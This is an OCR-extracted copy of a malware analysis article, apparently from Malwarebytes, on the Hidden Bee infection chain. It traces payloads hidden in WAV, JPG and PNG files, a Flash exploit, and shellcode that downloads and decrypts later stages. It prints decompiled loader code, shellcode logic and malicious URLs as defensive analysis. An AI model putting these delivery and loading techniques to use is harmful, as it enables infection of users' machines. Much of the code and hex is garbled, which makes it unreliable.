BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.
Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

73 200 HTIP  jwiews/bd2286mdrgSstohkplirvm2uclg. swi 102 498 applicationfi-shockwave-flash  iexplore: 1720 [#103]

[W74 302 HTTP  ffwiink/?LinkId=68923 a msfeedssync: 3256 [#110]

€¥75 200 HTTP  fathomejcommunity;rss.sxml 0 text/html msfeedssync: 3256 [#111]

ﬂ 76 HTTP  jviews/eBmaadui35oq9ighrjcdmndvgs. wav audiofwayv iexplore: 1720

El77 200 HTTP Jpubs/wiki.php?id=1ad51d 10a 1a008deeea448cafceddb3 a dilhost: 3332 [#113]

78 200 HTTP iconlinews.microsoft.com: 443 739 msfeedssync: 3256 [#114]
HTTP  fimages captcha.png?mod=attachment&u=13103ee8e 1ca2043405652a3d3ebchcd 26 707 image png dllhost: 3932

We will start our journey of Hidden Bee analysis by looking at these files. Then, we will move to see the code

responsible for processing them in order to reveal their hidden purpose.

The roadmap of the full described package:
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SWF file #1 SWE file #2

WAV #1 E::> e |::> shellcode

download
¥ unpack an executable in a
custom
(0x10000401)
WAV #2 ::> format
- the CAB
downloader
| ‘ download
PNG JPG
a CAB containig rex
core.sdb package

! ¢

core.sdb unpacking :>
an executable in a shellcode
custom preload (shellcode)

{0x10000401)
farmat

coredllbin {NE" module

Downloading the next
stage

sltpuidns. howtocom.site:1108/minimal bin?id=098&
sltp/bbs.favcom.space:1108/5etup.bin?id=999

Irdx custom filesystem

The downloaded WAV

The WAV file sounds like grey noise, and we suspect that it is meant to hide some binary belonging to the

malware.

To RN L U (N T M T‘T"W'“F‘[F“"VYNWWW"‘I‘W“’T'WW""F’I"TT'

| | |
hlu_mlul.LLuMm.Lhn.JLMHM&MLIL..;J.MMJJLAL il d i) Lt it L Lo
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The data is unreadable, probably encrypted or obfuscated:

E kollildpsd uBotus8ldderhl mg.wav

Cffset(h) 00 01 02 03 04 05 06 07 08 09 0& OB OC OD OE OF

Q0000000 FE 49 46 46 D4 BE 00 00 57 41 56 45 &6 6D 74 20 EIFFﬁI..WA?Efmt

Q0000010 10 OO0 OO OO0 01 OO0 O1 OO0 80 3E OO0 OO0 00 7D 00 00 ........ €x...} ..
00000020 02 00 10 00 &4 &1 74 &1 BO BE 00 00 BE 5B 87 BT ....data"I..q9[%-
Q00000030 49 9F 03 6E 39 13 7R SE 7B 82 5F 2D 1E C8& B2 D4 Ii.ng.zi{,_—.ﬁ‘é
00000040 69 8E 63 23 BD FA E2Z 87 CS A8 63 B3I ED 51 9B FO iZc# td:L ciiQ»d
00000050 1B 74 7D 7D E6 28 DC OD 1D 56 10 50 8E 1F 56 €9  .tire&(0..v.PE.VE
00000060 3C 5D B4 54 DS 14 03 11 4A 1F 15 69 7C 40 8C 07 <] TH...J..i|@s.
Q0000070 17 7B 46 DD 71 60 78 85 AR 3E TF C4 6A FE 00 26 .{F?q‘xm$>.ﬁj§.&
00000080 3E 43 06 94 16 24 2B D9 89 3B 02 21 92 E0 1R 48 >C.~.8+0%:.17%.H

We also found a repeating pattern inside, which looks like an encrypted padding. The size of the chunk is 8 bytes.

000OTAFO 18 71 &D 4A 3D 03 E4 C8 86 OF F5 BE &F CD EE 5A .gmd=.&Ct.d,oliz
00007BO0 13 06 54 TF 7A CE F9 9B SE 63 08 38 TA CE F9 9B ..T.zId»"c.8zId»

00007810 BEIEIECIRERE R SE €3 08 38 7A CE F9 9B [c.gzind c.gzid»

0000TB20 SE 63 08 38 7TA CE FO 9B S5E 63 08 38 7A CE F9 9B  “~c.8zid»*c.82zid»
00007830 5E 63 08 38 TA CE F9 9B 5E 63 08 38 7A CE F9 3B ~c.szid»~c.szid»
00007B40 5E 63 08 38 TA CE F9 9B 5E 63 08 38 TA CE F9 2B ~e.gzid»c.gzid:

This time, using the repeating pattern as an XOR key didn’t help in getting a readable result, so probably some

more complex block cipher was used.
The JPG

Below is a sample JPG, downloaded from the URL in the format: /views/[unique_string].jpg

In contrast to the WAV content, the JPG always looks like a valid image. (Interestingly, all the JPGs we observed
have a consistent theme of manga-styled girls.) However, if we take a closer look at the image, we can see that

some data is appended at the end.
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Transformer | Headers | Textview | SyntaxWiew ||Image'l.|"|ew | HexView | WebView | Auth
Caching | Cookies | Raw | 3sON | xmL |

Format: JFEG
156 005 bytes

252w x 352h

1,76 bytes/px

96 dpi

Baseline
Subsample@4:2:0

APPO Data (22 bytes)
JFIF1.1]

DPI: 56

APP1 Data (Edf, 56 bytes)

MALFORMED: (EERGEbytes after final
|segment.

HuffmanTables: 4

Let’s analyze the JPG and try to extract the payload.

First, I opened the image in a hexeditor (i.e. HxD). The size of the full image is 156,005 bytes. The last 118,762
bytes belong to the malware. So, we need remove the first 37,243 bytes (156,005-118,762=37,243) in order to get
the payload.

] jpg_payload.bin

Cffset(h) 00 01 02 03 04 05 06 07 08 05 0OA OB OC OD QE OF

Q0000000 C4 97 86 9D OF 2A E4 ES FE E9 9D E6 33 BE DE A0 %—16.*&i§qté3w1
00000010 1D 1D E4 03 05 74 20 F3 FD DF 29 DD E& ED 20 BO ..&..T &yBRYEL °

00000020 3E 9B 91 GE 9D 96 02 F5 55 E9 ES ES ES ES ES ES »»'mt-.aUeiiiiil
00000030 9D E9 ES5 ES5 ES5 ES ES ES5 D4 25 A5 75 Ea 61 B3 Eo  eeiiiiiidsaneazs
00000040 ES5 E5 OD E1 E5 E5 ES EA E5 85 E9 BD 85 81 6E Do ii.diiiei &~ .m®
00000050 DS ES ES ES5 BE7 B4 BS B3 0D Rl ES ES ES 84 26 6 Oiii--pz.-iii.zn
00000060 Bl C1 E1 6E Al C1 E9 B3 6E 91 C1 E9 B2 &8 D9 E7 +han-Aséin Aé nlg

00000070 ER 52 E7 A7 A7 &6 1D R4 9% ED 66 1D BF 8& E6 66 eRgSSL.E™if.z3cf

The payload does not look like a valid code, so it is probably obfuscated. Let’s try the easiest option first and see

if there are any candidates for the XOR key. We can see that the payload has padding at the end:
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E Ipg_payload.bin

offsec(h) 00 01 02 03 04 05 06 O7 OB 09 OR OB OC OD OE OF
0001CFBO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiididifdifiifiii
0001CFCO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiididifdifiiiii
0001CFDO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiidiifdidiiiii
0001CFED E5 E5 E5 E5 E5 E5 E5 E5 ES5 ES iiidiiididii

Let’s try to apply the repeating character (in the given example it is 0xE5) as an XOR key. This is the result

(1953032199142ea8c5872107da8f2297):

@ out.kin

offset (h) 00 01 02 03 04 05 06 OT7 08 09 OR OB OC OD OE OF

00000000 EE=eD. . . \x.0%E
00000010 f¥.&f L..:18..10
00000020 Uretexsg.®onnn..
000000350 Hewennn 1RE. ..V
00000040 - S “.X'd¢5
00000050 0...RQPVED. . .al
00000060 T$.<DE.Vets. W<,
00000070 . ".BE.FRL|..¥Z...
00000080 & .-.FF.G&]..42.
00000090 A opws.pAch +A0
000000R0 AU<E.EL«E.5VI<D.
00000080 J1XSEfREIfRECERE

Repeating the experiment on various payloads, we can see that the result always start from the keyword !rcx . As

we know from analyzing other elements of Hidden Bee, the authors of this malware decided to use various custom

formats named after 64-bit Intel registers. We also encountered packages starting from

Irbx

and !rsi at different layers. So, this is the first element in the chain that uses this convention.

When we load the !rcx module into IDA, we can confirm that it contains valid code. More detailed explanation

about the

Irex

format will be given later on in this article.
The PNG

Let’s have a look at a sample PNG, download from the “captcha.png” (URL format: ):
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Transformer Headers | TextView Syntax\iew ImageView | HexView
WebView Auth Caching Cookies Raw 1S0M ¥ML

Format: PNG
26 707 bytes

B2w x 82h

3,597 bytes/px

96 dpi

Color: RGB+Alpha 8bits/sample

Autoshrink -

Although it is a PNG in a valid format, it looks like noise. It probably represents bytes of some encrypted data. An
attempt of converting PNG to raw bytes didn’t give any readable results. We need to analyze the code in order to

discover what it hides.

Code analysis: the initial SWF file

The initial SWF file is embedded on the website and responsible for serving the exploit. If we look inside it, we
will not find anything malicious at first. However, among the binary data we can find another suspicious WAV as

an audio asset:

U dts890lkung 1 AME36 A na 280 swT ~
|| header 1
=4 hinaryData
— | DefineBinaryData {1: MyAudioAsset)
— | DefineBinaryData (2: com.google_2F_war_2F_folders_2|
— 1 DefineBinaryData (3: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (4: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (5: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (6: com.goonle_2F_var_2F_folders_2l
— | DefineBinaryData (7: com.google_2F_war_2F_falders_2I
—a DefineBinaryData (8: com.gooale_2F _war_2F_folders_2I
The beginning of the file:
0ogaooaao 52 49 46 46 84 27 00 00 57 41 56 45 66 6D 74 20 RIFF " WAVEImEt
00000010 10 00 00 00 01 OO 01 00 B0 3E OO 00 00 7D OO 40 > 1
00000020 02 00 10 00 €4 61 74 61 &0 27 00 00 D4 12 EB D1 data ™" [v] &N
00000030 Bl 93 BAR C1 CB 21 587 1F 5C D1 4% S5F 80 75 R8 &7 “« FAE - \ﬁI_ u " g
00000040 5C B2 23 7C A9 F§ 36 SE 04 DD 37 D7 75 2B 10 1B W, # 1 ®8 8 ¥ 7 xu+
00000050 88 B4 BA C1 EB 22 73 64 EB7 BO 1D B8R 48 1n E1 38 " - fhE"sdi " 3 H g 8
00000080 L2 03 D4 27 54 SE F3 CB 46 F& 04 86 86 4F RS 25 ] Gr'1IT~0EFa 0¥ 3

This SWF file also contains a decoder for it:

Page 167 of 265



https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

749 puklic static functicn Init({paraml:Displaylbjectlontainer) : woid
80 {

a1 var _loc3i_:5tring = null;

a2 var _loc4 :5tring = nmull:

a3 var _locS_rint = 07

a4 var _loct :ByteArray = null;

85 var _locT_:ByteArray = null:

26 var _loc2 :* = paraml.loaderInfc.parameters:

87 doc = paraml;

il platform_ = _loc2_["platiorm”]:

g if(platform_ == null)

a0 {

91 platform_ = "";

92 }

93 userhAgent = unescape( locd ["user”"]);

94 if (ExternalInterface.available)

a5 {

96 try

97 {

98 _loc3_ = .parent.AppUtils.getToken™) ;

Externallnterface.call {"parsent
95 _locd = ExternalInterface.call ("getialt

rent.AppUtils.getAppId™);

100 _loch_ = ExternalInterface.call ("Darent.p
101 _loce_ = setup(_loc3_ + _locd )

102 _loc7_ = new Myfmdiohsset() a3 BytehArray;
103 loader = decode(_loc7_, locé , locS , onMovieLoaded):
104 return;

105 }

1046 catch{e:Error)

107 {

108 return;

109 }

110 !

The function “decode” takes four parameters. The first of them is the byte array containing the WAV asset: That is
the content to be decoded. The second argument is an MD5 (the “setup” function is an MD5 implementation)
made of concatenation of the Appld and the AppToken: That is probably the encryption key. The third parameter

is a salt (probably the initialization vector of the crypto).

The salt is fetched from the HTML page, where the Flash component is embedded:

[=] F5miiSngsdgSpbfbe2i2if Bt4 html E3 |

1 <html>

2 <body>

3 <script tyvpe="text/javascript">

4 = function getSalt () {

& return "1mQREFFGabdecdaB";

6 r }

7 - </script>

8 E <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">

g = <object classid="glsid:D27CDEGE-AEGD-11cf-96B8-444553540000" type="application/x-shogkwayve-flas
10 <param name="movie" value="/views/dts8%lkungl54t636tdna2viyg.gyf"></param>

11 <param name="allowScripthAccess" value="always"></param>

12 <embed src="/views/dts89%lkungl54t636tdna?vBg.syf" allowScriptAccess="always" tyvpe="applica
13 - </object>

14 r </div>

15 - </body>

16 = </html>

Alternative case: two WAV files
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Sometimes, rather than embedding the WAV containing the Flash exploit, authors use another model of delivering
it. They store the URL to the WAV, and then they retrieve the file.

In the below example, we can see how this model is applied to Hidden Bee. The salt, along with the WAV URL,
are both stored in the Javascript embedded in the HTML:

i <html>

Z <body>

3 <gcript type="text/javascript"»

4 function getSalt(){

5 return "zACOBCcodSTBCKYTU1Z™;

€ }

7 function getAudiocResource () {

8 return "sviews/r52bSmlkl0vltcZ0tf4akl45cad wav";

B }

10 </acript>

11 <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
1z <pbject classid="clsid:DZTCDBEE-REED-1lcf-56BE-444553540000" type="application/x-shockwave-
B flash" id="gwi" date="/views/sd3olBisf844jsg3ocegoadtjuid.swi">
13 <param neme="movie" wvelue="/views/sd2cl8fs844jagi3cegoadtjuid.swi"></param>
14 <param neme="allowScriptlccess" walue="always">< /param>
15 <embed src="/views/ad3clZfs844jsgicegoadtiuid.swi” zllowScripticcess="always" type="
= application/x-shockwave-flash"></embed>
1& </ocbkject>
17 </div>
h:] </body>
iz </html>

The Flash file first loads it and then decodes as the next step:

userAgent unescape (_loc2 ["user"]):;

urlloader = new URLLoader():

urlloader .dataFormat = URLLoaderDataFormat.BINARY:
urlloader .addEventListener(Event.COMPLETE,onLoaded):
if(ExternallInterface.available)

i
try
{
_loc3_ = Externallnterface.call("parent.parent.hppltils.getToken");
_loc4 = Exrternallnterface.call("gst3alt™);
_locs = ExternalInterface.call{"getiudioResource™):;
algo = ExternallInterface.call{"parent.parent.2ppltils.gethAppId™)y !
cryptoBey = setup(_loc3  + locd ) !
if{ loc5_.length > 0}
{
urlloader .addEventlListener (ICErrorEvent.IC ERROR,onLoadError);
urlloader .load(new URLEequest(_locs )}
}
retarn;
i
catch(e:¥)
{
retarn;
¥

Looking at the traffic capture, we can see that in this case, not one, but two WAV files are downloaded:

e e s e s b o i e 8 £ £ i P cer e ey mr e e
HTTP 38,75.137.9:9088  jviews/vpriadgfb 1fpj7ue76v 2p47u3g.himl private. .. iexplore: 2028
P17 200 HTTP 38,75.137.9:9088  jviews/sd30l8fs844isq30egoadtjuid.swf 115062 private... application/... iexplore:2023
ﬂ 198 200 HTTP 38,75.137.9:9088  jviews/r52b5m 1k0v 1t20tM4akl45c94. wav 35880 private... audiofwav iexplore: 2025
ﬂ 199 200 HTTP 38.75.137.9:9088  jviews/qa0tgpp2ub4bcarl0jSuZroaac. way 43 852 private... audiofwav iexplore: 20258
|:| 200 200 HTTP 38.75.137.9:9088 fviews/fiev4sra210s3f688r218bcteok.jpg 156 005 private... imagejpeg dihost: 2576
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The algorithms used to encrypt the content of the first WAV may vary and sometimes the algorithm is supplied as
one of the parameters. After the content is fetched, the data from the WAV files is decoded using one of the

available algorithms:

private static fonection onlLoaded(paraml:Ewvent) : woid

i
urlloader .removeEventListener (Event.COMPLETE,onLoaded) ;
urlloader .addEventlListener (IOErrorEvent.IO ERROR,onLoadError):
var readData:ByteArray = urlloader .data as BytelArray;
loader = decode (readData,cryptoley ,algo,onMovieloaded) ;

|

We can see that the expected content is a Flash file that is then loaded:

private static function onMovielLoaded (paraml:Ewvent) : voild

{
loader .contentLoaderInfo.removeEventListener (Event.COMPLETE, onMovieloaded) ;
var newClip:MovieClip = MovieClip (paraml.currentTarget.content) ;
doc .addChild (newClip) ;

The “decode” function

The function “decode” is imported from the package “com.google”:

94 getlocal 5
95 getlex (name (PackageNamespace (""), "onMovieLoaded"™)
98 kallproperty Oname (Packagelamespace ("com. google™) , "decode") 4

The full decompiled code is available here.

When we look inside, we see that the code is slightly obfuscated:

[ ActionSeript source
com.google.decode

|

WARNING: The code decompilation contains §§ instructions. This is usually caused by an obfuscation (See Settings/Automatic deobfuscation) or a nonstandard compiler used (Haxe, etc.).

1 backage com.google

2 {

3 import avm2.intrinsics.memory.lilé;

4 import avm2.intrinsics.memory.li32;

5 import avm2.intrinsics.memory.lif;

[ import avm2.intrinsics.memory.silé;

7 import avm2.intrinsics.memory.si32;

8 import avm2.intrinsics.memory.sif;

9 import com.google 2F var 2F folders 2F z4 2F jk5tsd6l3nsBhpppmxkve65m0000gn_2F T 2F 2F cculOwla 2E_lto 2E be 3R 2210E4FB_2D 444B 20 45E7_
10 import flash.display.Loader:

11 import flash.aystem.ApplicationDomain:

12 import flash.ayatem.LoaderContext:

13 import flash.utila.ByteArray:

14

15 public function decode (paraml:ByteArray, param?:Bytelrray, param3:int, paramé:Function) : Loader
16 {

Looking at the decompiled code, we see some interesting constants. For example, —-889275714 in hex is
0xCAFEBABE. As we found during analysis of other Hidden Bee elements, this DWORD was used by the same

authors before as a magic number identifying one of the custom formats.
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243 if( loc53 = -889275714)

244 {

245 _loe53_ = 1i32(_locé&8_ - 32)»

248 if{_loch3_ == 32)

247 {

248 if{_locS9_ != 0)

2419 {

250 if{_lochs_ != 1)

251 {

252 _loc53_ = int{_loc@3_ - 40):
253 _loe53_ = _locB3_ | 4:

254 _loe57_ = 1i32(_locS3_):

255 1

256 elae

257 {

258 _locsi_ = int{_loc3_ - 16);
259 3132({_loc57_, _locS_ + 4);
260 _loch3_ = int(_loc&&_ - 1072);
261 3i32(_loc53_, locS )

262 E5F = _locS_»

263 F_ECRYPT keysetup():

264 _loch5_ = int{_locS_ + 18);
265 _lochl_ = int{_locG3_ - 40);
266 _loe5l_ = _loc3l_ | 4;

267 _locs7_ = 1132 (_loc5l_):

268 _locsi_ = int{_loc3_ - 16);
269 3132 (_1loe57_, _loeS_ + 12);
270 _lochl_ = int{_locdd_ + T&):
271 3i32{ lochl , locS_ + 8);
272 3132 (_loc5l_, loc5_ + 4);
273 3i32(_loch3_, _loch )

274 E5F = _locS_;

275 F ECREYFT process_bytes();

Internally, there are references to a function from another module: E_ENCRYPT_process_bytes(). Inside this

function, we see calls suggesting that the Rabbit Cipher has been used:
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10 public function F_ECRYPT procesa_bwytes() : wvoid
11 {

12 var locd :* = 0;

13 var _locT _:* = 0;

14 var locd :* = 0;

15 var loci _:* = 0f

16 var _locB_:int = 07

17 var _locé_:* = 07

18 var _loc3_:* = int(E5EF);

13 _loc2 = loc3 ;

20 _loc3_ = int{_loc3_ - 14);

21 _locd = 1i32(_loc2_ + 12):

22 _locs_ = 1i32(_loc2_ + 8):

23 _locE = 1i32(_loc2_ + 4):

24 _loc7_ = 1i32(_loc2_):

25 if{uint{_locd4 ) »>= 1&)

26 {

27 _locs_ = int{_loc5_ + 12);

28 _locg_ = locé  + 127

29 _loceé_ = int{_locT_ + &8);

30 do

al {

32 _loc3i_ = int{_loc3_ - 1&8);
a3 3132 (_lock_, loc3_):

34 E3F = _loc3_;

35 F RABBIT next state();

36 _1loc3_ = int{_loc3_ + 16);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization

vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

e f
3329 if{_locsT_ !'= 0}

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESP = _locS_ s -16;:

3333 var _loclé_:ByteArray = new ByteRrrav():

3334 (CModule.readBytes (int(_loc57_ + 4), loc53 ,_ loclé_);

3335 ESP = _loc5_ & -14;7

3336 ESP = _loc5_ & -167

3337 new Loader().contentloaderInfo.addEventListener ("conplete”, paramd) ;
3338 ESP = _loc5_ & -167

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESP = _loc5_ & -167

3341 _locéd_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _loc5_ & -167

3343 _locéd_.allowCodeImport = true;

3344 ESP = _locS_ & -147

3345 new Loader() .loadBytes {Jln:-clﬁ_, _locé9_);

3344 _loc5_ = int{_loch_ - 18);

3347 3i32(_loc57_,_locS_):

3348 ESP = _loch_»

3349 F_idalloc():

3350 _loc5_ = int{_loch_ + 18);

3351 _loc2i_ = new Loader():

3352 }

The first WAV: a Flash exploit
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The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.

i iexplore.exe.dmp

Cffset(h) 00 01 02 03 04 05 06 07 08 095 OA OB OC OD OE OF Decoded text

07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvusuuunreeesss
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvuvuuunneeesss
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +u.vuuues €r...1.
07763B50 00 02 00 10 00 64 61 74 61 E0 8B 00 00 33 8C C2  ..... datatc..354
07763B60 4E 22 31 TA B8 6F 34 Fe A5 F7 AS AF 10 F3 07 C2 N™lz o464 Z.8.4
07763B70 46 E7 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-INZ.% .Z....<.
07763B80 00 00 00 00 0D OO0 03 00 72 20 8D 7F DTN - .------ reT.[[stH
07763B90 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... $...<...
07763BA0 2D &E 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 =¢..0...1i¢..<...
07763BB0 2F &0 6F 76 69 &5 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 €3 67 2E 63 66 67 00 43 57 53 1B TF FF 00 00 fig.cfg.CW5.. ..
07763BD0 78 9C EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x&&“w\UGx/>igdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

A flashz.swf
| header

] sprites

H frames

|| athers

|\ scripts

Fove 2015 5122 _fla
=0

—»  Bufton_disabledSkin
—» | Button_downSkin

—»  Bufton_emphasizedskin
—»  Bufton_overskin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2

= class PayloadWin3z

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

g

g function PayloadWin3a2()
10 {

11 super();

12 }

13 1

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.
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The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there
before the payload runs.

pavlEnd = O;

payllength = PayloadWin32.payload.length;
indx = O;

while(indx < pavlLength - 1)

i

if{PavloadWin3Z.pavload[indx] = O0xZ0203202C
&& PavloadWin3Z.pavlicad[indx + 1] = O0xZ0202032C0

)
i
pavlEnd = indx;
break:
1
indx++;
i
if{pavlEnd '= 0)
i
indx = O;
while(indx < paraml.length)
i
S /write parameters at the end of the payload:
PayvloadWin32 .pavlocad[pavlEnd + indx] = paraml [indx]:
indx++;
1
i

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11£f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using

their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.
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v2 = alj

v3 = &input_buffer[-*{unsigned _ intl6e *}input_buffer];

func_checksums = (int)&v3[*((unsigned _ intle *}input_buffer + 1}];

buf = &3[*(unsigned _ intle *)}(func_checksums + @x7@) - *((unsigned _ intle *}input_buffer + 2}];
zero_buffer(&functions list, @wd4Cu);

result = load_wininet_functions(v2, (int (_ stdcall **){char *})&functions_list, func_checksums};
if ( result )
1

copy_16_bytes(buf, &crypt_key); // copy the crypto key

result = download_from_url(v2, &functions_list, buf, &meodule size);
wav_buf = (_BYTE *)}result;
if { result )

if ( *(_BYTE *)result == 'R’ // check the WAV header
&% *( BYTE *)({result + 1) == 'T"
&% *( BYTE *)({result + 2) == 'F'
&% *( BYTE *)(result + 3) == 'F'
&8 *(_DWORD *)(result + 4) <= module_size
&% *(_BYTE *)(re _«,ulf +8) == "W
&% *( BYTE *)({result + @xA) == 'V'
&% *( BYTE *)(r esult + Bx24) == 'd’
&% *( BYTE *)(result + 8x26) == 't' )
{

msize = *(_DWORD *}(result + 8x28);

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I(mSize & 7))

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;
w23 = @;
if { module_size )
1
do
1
crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
w23 += 8:
m5ize = module_size;
chunk_ptr += 8;
¥
while { v23 < module_size };
¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.
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if ( mSize > éxl1C
&% *((_DWORD *)wav_buf + @xE} <= mSize
&& wav_buf[@x2F] == exle
&& wav dJ-[bXZC] // start of the payload header
&& wav_buf[ex2D] =
&& mSize > *((_E ORD *)wav_buf + @x16)
&& mSize » *({(_DWORD *)wav_buf + 8xD)
&% !(wav_buf[8x3C] & 3) )
1
allocated buf = ( BYTE
v23 (un, gned int)
if ( allocated buf )
new_module_ep = (void (_ stdcall *)(unsigned int *))&allocated buf[*{(_DWORD *)wav_buf + @uD)}];
copy huffer(a__- ated buf, wav_buf + 8x2C, module size);
wav_buf + @x2C;
= v23; // _allocated buffer
ule_ep(&vl17); // call the decoded payload
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37¢9ec19a53007d450b9b9c8febbe?):

Address |Hex dump ASCII

